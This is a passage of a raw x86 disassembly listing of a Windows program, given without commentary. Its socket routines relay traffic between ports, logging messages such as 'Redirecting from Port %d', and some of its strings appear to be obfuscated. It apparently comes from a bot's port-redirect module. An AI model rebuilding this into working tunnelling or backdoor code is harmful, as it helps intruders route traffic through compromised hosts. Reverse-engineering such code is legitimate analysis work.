[esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42BDBA push eax push 4 push offset dword_4472F4 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020E0 push ebx call near ptr 71AB9639h nop pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42BED6: ; CODE XREF: sub_42BB00+47j cmp ax, 2 jnz loc_42BF63 mov ebx, dword_511C94 loc_42BEE6: ; CODE XREF: sub_42BB00+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h nop call near ptr 71AB2D0Fh mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C30 test edi, edi jz short loc_42BF63 cmp edi, 0FFFFFFFFh jz short loc_42BF63 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42BEE6 loc_42BF63: ; CODE XREF: sub_42BB00+67j ; sub_42BB00+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42BB00 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C0A0 proc near ; CODE XREF: sub_401F37j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42C0B4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0B4: ; CODE XREF: sub_42C0A0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42C0C6 dec eax jz short loc_42C0E8 mov word ptr [esi+6], 1 loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj mov eax, 1 mov ecx, 6 loc_42C0D0: ; CODE XREF: sub_42C0A0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42C0F4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42C0D0 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42C139 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C139: ; CODE XREF: sub_42C0A0+86j cmp word ptr [esi+6], 1 jnz short loc_42C161 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42C161 mov edx, [esi+32h] push edx call near ptr 71AB9639h nop xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C161: ; CODE XREF: sub_42C0A0+9Ej ; sub_42C0A0+AEj mov al, 1 pop esi add esp, 10h retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1B0 proc near ; CODE XREF: sub_401DD4j var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42C1B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42C24A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42C231 mov ebx, dword_511C98 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42C216 loc_42C202: ; CODE XREF: sub_42C1B0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42C202 loc_42C216: ; CODE XREF: sub_42C1B0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al call near ptr 71AB9639h nop test bl, bl jnz short loc_42C26A loc_42C231: ; CODE XREF: sub_42C1B0+39j ; sub_42C1B0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42C244: ; DATA XREF: ___:00442FACo mov eax, offset loc_42C231 retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj cmp ax, 2 jnz short loc_42C231 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx call near ptr 71AB9639h nop test bl, bl jz short loc_42C231 loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42C1B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: ___:00401F96j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43CEB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax call near ptr 71AB9639h nop loc_42C309: ; DATA XREF: ___:loc_42C321o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C321: ; DATA XREF: ___:0044300Co mov eax, offset loc_42C309 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C350 proc near ; CODE XREF: sub_401C2Bj var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42C350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 nop call near ptr 71AB664Dh test eax, eax jz short loc_42C3C7 loc_42C387: ; CODE XREF: ___:0042C456j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42C3C7: ; CODE XREF: sub_42C350+35j push 42h call sub_437AEA sub_42C350 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42C3EC push 1 mov ecx, eax call sub_4014F1 jmp short loc_42C3EE ; --------------------------------------------------------------------------- loc_42C3EC: ; CODE XREF: ___:0042C3DFj xor eax, eax loc_42C3EE: ; CODE XREF: ___:0042C3EAj mov dword_5103A4, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_5103A4 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40202C lea eax, [esp+1C0h] push eax mov eax, dword_5103A4 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40202C mov eax, dword_5103A4 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F37 test al, al jz loc_42C387 loc_42C45C: ; CODE XREF: ___:0042C46Dj mov eax, dword_5103A4 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DD4 jmp short loc_42C45C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4C0 proc near ; CODE XREF: sub_4014F1j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42C4E2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43F190 call sub_4014B5 loc_42C4E2: ; CODE XREF: sub_42C4C0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43F18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42C4C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C530 proc near ; CODE XREF: sub_4014B5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C530 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_40142E lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C5C0 proc near ; CODE XREF: sub_4020EFj ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42C5C0 endp ; --------------------------------------------------------------------------- align 10h loc_42C5D0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43CF28 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401FA0 push offset off_444D5C lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43F1A0 call sub_4015E1 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42C658 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C658: ; CODE XREF: sub_42C640+Dj mov eax, esi pop esi retn 4 sub_42C640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C670 proc near ; CODE XREF: sub_4011BDj jmp sub_4017A8 sub_42C670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C690: ; CODE XREF: ___:loc_40134Dj mov eax, 1000h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42C71C mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C6BC: ; CODE XREF: ___:0042C71Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+18h] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42C6BC loc_42C71C: ; CODE XREF: ___:0042C6AEj ; ___:0042C6E5j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42C738 push eax nop call near ptr 71AB9639h loc_42C738: ; CODE XREF: ___:0042C72Fj add esp, 1000h retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C770 proc near ; CODE XREF: sub_40166Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_444D5C lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F1B0 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C770 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42C7F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj mov eax, esi pop esi retn 4 sub_42C7E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C810 proc near ; CODE XREF: sub_401217j jmp sub_4017A8 sub_42C810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C830 proc near ; CODE XREF: sub_401537j var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42C9FA mov ebx, 1 push 6 push ebx push 2 nop call near ptr 71AB3B91h cmp eax, edi mov [esi+0A5h], eax jnz short loc_42C888 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C888: ; CODE XREF: sub_42C830+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42C8E2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C8E2: ; CODE XREF: sub_42C830+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42C912 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: sub_42C830+C8j mov edx, [esi+0A1h] mov edi, dword_511CAC lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42C9FA mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C966: ; CODE XREF: sub_42C830+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C990 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C990: ; CODE XREF: sub_42C830+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C9CB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C9CB: ; CODE XREF: sub_42C830+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42C966 jmp short loc_42C9FA ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C830+15Ej ; sub_42C830+199j push 0Ah call near ptr 28502B8h nop loc_42C9FA: ; CODE XREF: sub_42C830+27j ; sub_42C830+124j ... mov eax, [esi+0A1h] mov edi, dword_511C9C cmp eax, 0FFFFFFFFh jz short loc_42CA0E push eax call edi ; closesocket loc_42CA0E: ; CODE XREF: sub_42C830+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42CA1C push esi call edi ; closesocket loc_42CA1C: ; CODE XREF: sub_42C830+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42C830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 68h ; h db 0CFh ; Ï db 43h ; C db 0 db 64h ; d db 0A1h ; ¡ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ‰ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ‹ db 0F1h ; ñ db 89h ; ‰ db 74h ; t db 24h ; $ db 4 db 0E8h ; è db 0CEh ; Î db 54h ; T db 0FDh ; ý db 0FFh db 68h ; h db 5Ch ; \ db 4Dh ; M db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Ç db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Ç db 6 db 0C0h ; À db 0F1h ; ñ db 43h ; C db 0 db 0E8h ; è db 0F4h ; ô db 4Ah ; J db 0FDh ; ý db 0FFh db 8Bh ; ‹ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ‹ db 0C6h ; Æ db 5Eh ; ^ db 64h ; d db 89h ; ‰ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 10h db 0C3h ; à db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB20: ; CODE XREF: ___:loc_4015FAj ; ___:00401FC8j push esi mov esi, ecx call sub_401B9F test byte ptr [esp+8], 1 jz short loc_42CB38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42CB38: ; CODE XREF: ___:0042CB2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CB50 proc near ; CODE XREF: sub_401B9Fj jmp sub_4017A8 sub_42CB50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CB70 proc near ; CODE XREF: sub_4019F1j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42CB70 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017EE mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017EE push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014DD mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42CDA8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h nop call near ptr 71AB3E00h test eax, eax jz short loc_42CC5B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: sub_42CB70+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42CD54 loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42CD35 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx call near ptr 71AC1028h nop mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42CD35 xor edi, edi cmp ebp, edi jz loc_42CD35 push 0A9h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42CCD5 mov ecx, eax call sub_40166D mov edi, eax loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FDC lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FDC mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013DE loc_42CD35: ; CODE XREF: sub_42CB70+111j ; sub_42CB70+133j ... push 0FAh nop call near ptr 28502B8h mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42CC6F loc_42CD54: ; CODE XREF: sub_42CB70+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42CD66 push eax nop call near ptr 71AB9639h loc_42CD66: ; CODE XREF: sub_42CB70+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017EE push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 24h loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42CB70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42CE60 proc near ; CODE XREF: sub_402202j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42CE60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019C4 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_42CE60 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019C4 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019C4 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019C4 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 0EAh push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D150: ; CODE XREF: ___:loc_40204Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43D0A4 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42D2B7 push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 